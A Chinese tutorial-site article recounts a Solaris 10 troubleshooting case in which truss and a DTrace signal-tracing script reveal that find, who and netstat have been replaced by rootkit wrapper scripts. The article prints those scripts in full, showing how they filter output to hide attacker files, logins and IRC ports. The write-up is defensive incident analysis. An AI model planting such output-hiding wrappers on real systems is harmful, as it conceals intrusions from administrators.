歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Unix知識 >> 關於Unix

Solaris 裡面的抓間諜者


Dtrace + Truss 在 Solaris 10上的實例
這個案例著重於如何使用 Dtrace & truss 來進行 Solaris 的問題跟蹤。 Dtrace是Solaris 10的一個特性。
昨天早上,客戶打電話來抱怨一個奇怪的Solaris問題。 我在過去6個月裡一直支持這個web 2.0領域的客戶。
客戶發現它不能正確的添加一個新用戶。 如果他嘗試增加一個新用戶,系統會報告錯誤。
“useradd –m –d /home/test test” 是給/home下增加一個新用戶的命令。:對應的錯誤信息是:
" # useradd -m -g getamped -d /home/getamped -c "getamped user." -m -s /bin/bash getamped
UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. "
於是客戶給我打電話尋求幫助。 看起來這是一個簡單的Solaris 配置的問題。我們知道Solaris會自動掛接 /home目錄。所以通常我們需要把autofs關掉才可以對/home進行操作。
這些都是很簡單的工作,而且有很多的文檔說明了這些步驟, 於是我們打開/etc/auto_master. 它看起來好像這樣:
+auto_master
/net -hosts -nosuid,nobrowse
/home auto_home -nobrowse
根據文檔的紀錄,我們需要把最後一行注釋掉:
#/home auto_home -nobrowse
這樣就去掉了autofs監管的/home目錄。 然後我們重新啟動 autofs 服務,讓這個配置生效。 按後我們再次運行 “useradd“命令,看看我們現在發現了什麼?
有趣的是,這次仍然報告一個錯誤:
" UX: useradd: ERROR: Unable to change owner of files home directory: No such file or directory. "
看來某個地方還有問題. 那麼是哪裡呢?
按照通常的步驟,我們搜索知識庫,但是沒發現任何有意義的結果.
現在讓我們嘗試用”truss “來跟蹤一下這個命令. 它到底在作些什麼? 他會打印出來應用的每個系統調用和相關參數. 通過這些詳細地記錄信息我們發現了一點線索:
"#truss -f -o /tmp/useradd.out useradd -m -d /home/test test"
下面我們增加一個選項“-f”來繼續跟蹤子進程的信息,這樣fork()的子進程的log也可以被記錄下來. 然後我們打開記錄的文件/tmp/useradd.out. 它裡面記錄了useradd運行的所有系統調用:
"# truss -f useradd -m -d /home/test7 test7
1710: execve("/usr/sbin/useradd", 0x08047C9C, 0x08047CB4) argc = 5
1710: resolvepath("/usr/sbin/useradd", "/usr/sbin/useradd", 1023) = 17
1710: sysconfig(_CONFIG_PAGESIZE) = 4096
1710: xstat(2, "/usr/sbin/useradd", 0x08047A88) = 0
.......
.......
"
喔.這個文件看起來至少有10000行.
通過幾個小時的艱苦工作,我們找到了一點相關的內容, useradd 會通過 fork()調用產生若干的子進程, 其中一個子進程會意外的退出.這時候的記錄信息顯示如下:
Received signal #18, SIGCLD [caught]
1749: siginfo: SIGCLD CLD_EXITED pid=1755 status=0x0001
當我們比較這個產生錯誤的記錄信息和正常的“useradd”記錄信息的時候.我們發現 SIGCLD 沒有出現在正常的記錄中.在這個信號之後,子進程會退出並讓整個進程錯誤終止.也許這就是一個真正的錯誤原因? 那麼是誰發送了這個CLD信號給我們的useradd呢?
很幸運的是,Solaris 10裡面提供了一個強大的系統內核跟蹤工具 – Dtrace.它會幫助我們進入Solaris 內核來揭示內部的具體運作.於是我們采用下面的dtrace腳本來看看是誰發送了這個CLD信號. 腳本是下面這樣的:
#!/usr/sbin/dtrace –qs
proc:::signal-send
/args[2] == SIGCHLD/
{
printf("SIGCLD was sent by %s pid=%d \n", args[1]->pr_fname,args[1]->pr_pid);
}
當某個進程發送SIGCLD 信號的時候我們會抓住他. 腳本裡面的 pr_fname就是進程的名字,而 pid 就是進程的編號.那麼,我們現在啟動這個腳本並讓他在後台等待. 然後我們再次運行”useradd”命令.
這個腳本很有用, Dtrace 馬上告訴我們這個發送SIGCLD信號的進程名字和ID號碼.
"SIGCLD was send by find pid 1499"
難以相信, 是最常用的UNIX命令find發送了這個信號. 為什麼他要發送這個信號來關閉我們的子進程呢? 我們輸入"which find" 來看看find命令在什麼地方. 它位於"/usr/bin/find".
那麼我們到"/usr/bin"目錄下去,作些調查研究,看看他為什麼會這麼做.
這個可憐的"find" 程序就在這個目錄下,看起來沒什麼特別.
我們用 "file /usr/bin/find" 來看看他的具體格式. 結果顯示這是一個可執行的腳本文件. 這一點很奇怪,因為通常, “find” 是一個2進制可執行文件.所以我們采用 "vi /usr/bin/find" 來看看裡面的內容.
在"find"文件內部, 我們看見了下面的腳本內容:
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/find "$@" | grep -v grep | grep -v System | grep -v /usr/bin/find | grep -v EWG | grep -v syscfg | grep -v .elite | grep -v cj | grep -v glftpd | grep -v S12system | grep -v S32networks | grep -v S09init | grep -v lost+found
fi
看起來這個find 會先去看看是否 /usr/sbin/i86/ps 目錄存在, 如果存在,他就會調用這個目錄下面真正的”find”程序, 然後在find執行的結果中,過濾掉包含下面這些關鍵字的信息: " EWG, glftpd, …"
我們知道find是一個會經常用到的程序,他不應該有任何的隱瞞或者過濾內容.
那麼為什麼要過濾掉這些關鍵字呢? “find”想要隱藏些什麼?
我們用 "ls -tral /usr/bin" 在這個目錄下看看”find“ 的修改日期,看起來好像:
-rwxrwxrwx 1 root other 177 7月 30日 17:33 w
-rwxrwxrwx 1 root other 181 7月 30日 17:34 who
-rwxrwxrwx 1 root other 87 7月 30日 17:36 uptime
-rwxrwxrwx 1 root other 239 7月 30日 17:37 ptree
-rwxrwxrwx 1 root other 311 7月 30日 17:41 netstat
-rwxrwxrwx 1 root other 198 7月 30日 17:43 last
-rwxrwxrwx 1 root other 360 7月 30日 18:14 ls
-rwxrwxrwx 1 root other 314 7月 30日 18:17 cat
-rwxrwxrwx 1 root other 219 7月 30日 18:18 du
-rwxrwxrwx 1 root other 222 7月 30日 18:19 ps
-rwsr-xr-x 1 root root 6696 8月 20日 12:30 EWG
-rwxr-xr-x 1 root root 300 1月 23日 17:29 find
嗯,那麼"find" 還有 "who" ,"netstat", "du", "cat" 都是在最近被修改過.
那麼我們檢查一下這些文件都在干什麼.
"file /usr/bin/who" 的結果告訴我們這也是一個腳本程序,那麼它在作什麼呢?
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/who "$@" | grep -v grep | grep -v /usr/bin/who | grep -v CjB
| grep -v cjb | grep -v daemon | grep -v sys
fi
看起來某些人想要在登陸的時候不被別人發現.
"file /usr/bin/netstat"的結果也顯示這是一個腳本,而不是正常的二進制文件,他的內容是:
#!/bin/ksh –p
if [ -f /usr/bin/i86/ps ]; then
/usr/sbin/i86/netstat "$@" | grep -v grep | grep -v System | grep -v /usr/bin/netstat | grep -v EWG | grep -v gl
ftpd | grep -v 6667 | grep -v 7000 | grep -v 6666 | grep -v 6668 | grep -v 6669 | grep -v 9000 | grep -v 8337 | grep -v 6969 | grep -v 98
fi
嗯,這就有意思了, 看起來某些人想要隱藏一些秘密, 在和6667/7000/6666/6668/6669/9000/8337 這些端口通信的時候不被別人發現.
為了解決問題 ,我們恢復了/usr/sbin/i86/find 二進制文件到/usr/bin目錄下,替換了這個錯誤的腳本文件 “find”, 這時候就可以使用”useradd” 創建一個正常的 用戶目錄了.
同時,我們通知了IT 安全部門, 進行下一步調查和跟蹤.
Copyright © Linux教程網 All Rights Reserved